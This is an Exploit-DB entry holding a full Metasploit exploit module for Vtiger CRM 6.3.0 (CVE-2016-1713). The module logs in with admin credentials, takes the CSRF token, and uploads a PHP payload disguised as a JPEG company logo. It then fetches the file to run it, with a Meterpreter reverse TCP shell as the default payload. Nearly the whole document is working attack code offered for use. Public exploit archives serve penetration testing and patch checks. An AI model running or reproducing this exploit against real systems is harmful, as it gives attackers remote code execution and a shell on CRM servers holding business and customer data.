Vtiger CRM 6.3.0 - Authenticated Arbitrary File Upload (Metasploit)

EDB-ID: 44379
Author: Touhid M.Shaikh
Published: 2018-03-30
CVE: CVE-2016-1713
Type: Webapps
Platform: PHP
Aliases: N/A
Advisory/Source: N/A
Tags: Metasploit Framework (MSF)
Vulnerable App: N/A

 # This module requires Metasploit: https://metasploit.com/download 
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Vtiger CRM 6.3.0 - Authenticated Arbitrary File Upload',
'Description' => %q{
Vtiger 6.3.0 CRM's administration interface allows for the upload of
a company logo.
Instead of uploading an image, an attacker may choose to upload a
file containing PHP code and
run this code by accessing the resulting PHP file.

This module was tested against vTiger CRM v6.3.0.
},
'Author' =>
[
'Benjamin Daniel Mussler', # Discoverys
'Touhid M.Shaikh <admin[at]touhidshaikh.com>' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-6000'],
['CVE','2016-1713'],
['EDB', '38345']
],
'DefaultOptions' =>
{
'SSL' => false,
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'Encoder' => 'php/base64'
},
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'vTiger CRM v6.3.0', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 28 2015'))

register_options(
[
OptString.new('TARGETURI', [ true, "Base vTiger CRM directory
path", '/']),
OptString.new('USERNAME', [ true, "Username to authenticate
with", 'admin']),
OptString.new('PASSWORD', [ true, "Password to authenticate
with", 'password'])
])

# Some PHP version uses php_short_code=ON
register_advanced_options(
[
OptBool.new('PHPSHORTTAG', [ false, 'Set a short_open_tag
option', false ])
], self.class)
end

def check
res = nil
begin
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path,
'index.php') })
rescue
vprint_error("Unable to access the index.php file")
return CheckCode::Unknown
end

if res and res.code != 200
vprint_error("Error accessing the index.php file")
return CheckCode::Unknown
end

if res.body =~ /<small> Powered by vtiger CRM (.*.0)<\/small>/i
vprint_status("vTiger CRM version: " + $1)
case $1
when '6.3.0'
return Exploit::CheckCode::Vulnerable
else
return CheckCode::Detected
end
end

return CheckCode::Safe
end


# Login Function.
def login
# Dummy Request for grabbing CSRF token and PHPSESSION ID
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vhost' => "#{rhost}:#{rport}",
})

# Grabbing CSRF token from body
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine
CSRF token") if csrf.nil?
vprint_good("CSRF Token for login: #{csrf}")

# Get Login now.
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vars_get' => {
'module' => 'Users',
'action' => 'Login',
},
'vars_post' => {
'__vtrftk' => csrf,
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
},
})

unless res
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to
Login request")
end

if res.code == 302 &&
res.headers['Location'].include?("index.php?module=Users&parent=Settings&view=SystemSetup")
vprint_good("Authentication successful:
#{datastore['USERNAME']}:#{datastore['PASSWORD']}")
return res.get_cookies
else
fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed
:[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]")
return nil
end
end

def exploit
begin
cookie = login
pay_name = rand_text_alpha(rand(5..10)) + ".php"

# Make a payload raw. I added this bcz when i making this module.
server have short_open_tag=ON
vprint_warning("Payload Generate according to
short_open_tag=#{datastore['PHPSHORTTAG']}")
if datastore['PHPSHORTTAG'] == true
stager = '<? '
stager << payload.encode
stager << ' ?>'
else
stager = '<?php '
stager << payload.encode
stager << ' ?>'
end


# Again request for CSRF_token
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vhost' => "#{rhost}:#{rport}",
'cookie' => cookie
})

# Grabbing CSRF token from body
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine
CSRF token") if csrf.nil?
vprint_good("CSRF Token for Form Upload: #{csrf}")

# Setting Company Form data
post_data = Rex::MIME::Message.new
post_data.add_part(csrf, content_type = nil, transfer_encoding = nil,
content_disposition = "form-data; name=\"__vtrftk\"") # CSRF token
post_data.add_part('Vtiger', content_type = nil, transfer_encoding =
nil, content_disposition = "form-data; name=\"module\"")
post_data.add_part('Settings', content_type = nil, transfer_encoding
= nil, content_disposition = "form-data; name=\"parent\"")
post_data.add_part('CompanyDetailsSave', content_type = nil,
transfer_encoding = nil, content_disposition = "form-data; name=\"action\"")
post_data.add_part(stager, content_type = "image/jpeg",
transfer_encoding = nil, content_disposition = "form-data; name=\"logo\";
filename=\"#{pay_name}\"") #payload Content-type bypass
post_data.add_part('vtiger', content_type = nil, transfer_encoding =
nil, content_disposition = "form-data; name=\"organizationname\"")
post_data.add_part('95, 12th Main Road, 3rd Block, Rajajinagar',
content_type = nil, transfer_encoding = nil, content_disposition =
"form-data; name=\"address\"")
post_data.add_part('Bangalore', content_type = nil, transfer_encoding
= nil, content_disposition = "form-data; name=\"city\"")
post_data.add_part('Karnataka', content_type = nil, transfer_encoding
= nil, content_disposition = "form-data; name=\"state\"")
post_data.add_part('560010', content_type = nil, transfer_encoding =
nil, content_disposition = "form-data; name=\"code\"")
post_data.add_part('India', content_type = nil, transfer_encoding =
nil, content_disposition = "form-data; name=\"country\"")
post_data.add_part('+91 9243602352', content_type = nil,
transfer_encoding = nil, content_disposition = "form-data; name=\"phonxe\"")
post_data.add_part('+91 9243602352', content_type = nil,
transfer_encoding = nil, content_disposition = "form-data; name=\"fax\"")
post_data.add_part('www.touhidshaikh.com', content_type = nil,
transfer_encoding = nil, content_disposition = "form-data;
name=\"website\"")
post_data.add_part('1234-5678-9012', content_type = nil,
transfer_encoding = nil, content_disposition = "form-data; name=\"vatid\"")
post_data.add_part(' ', content_type = nil, transfer_encoding = nil,
content_disposition = "form-data; name=\"saveButton\"")
data = post_data.to_s

print_good("Payload ready for upload : [ #{pay_name} ]")

print_status("Uploading payload..")
# in Company Logo upload our payload.
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vhost' => "#{rhost}:#{rport}",
'cookie' => cookie,
'connection' => 'close',
'headers' => {
'Referer' => "http://
#{rhost}:#{rport}/index.php?parent=Settings&module=Vtiger&view=CompanyDetails",
'Upgrade-Insecure-Requests' => '1',
},
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
})

unless res && res.code == 302
fail_with(Failure::None, "#{peer} - File wasn't uploaded,
aborting!")
end

# Cleanup file.
register_files_for_cleanup(pay_name)

print_status("Executing Payload [
#{rhost}:#{rport}/test/logo/#{pay_name} ]" )
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "test", "logo", pay_name)
})

# If we don't get a 200 when we request our malicious payload, we
suspect
# we don't have a shell, either.
if res && res.code != 200
print_error("Unexpected response, probably the exploit failed")
end

disconnect
end
end
end

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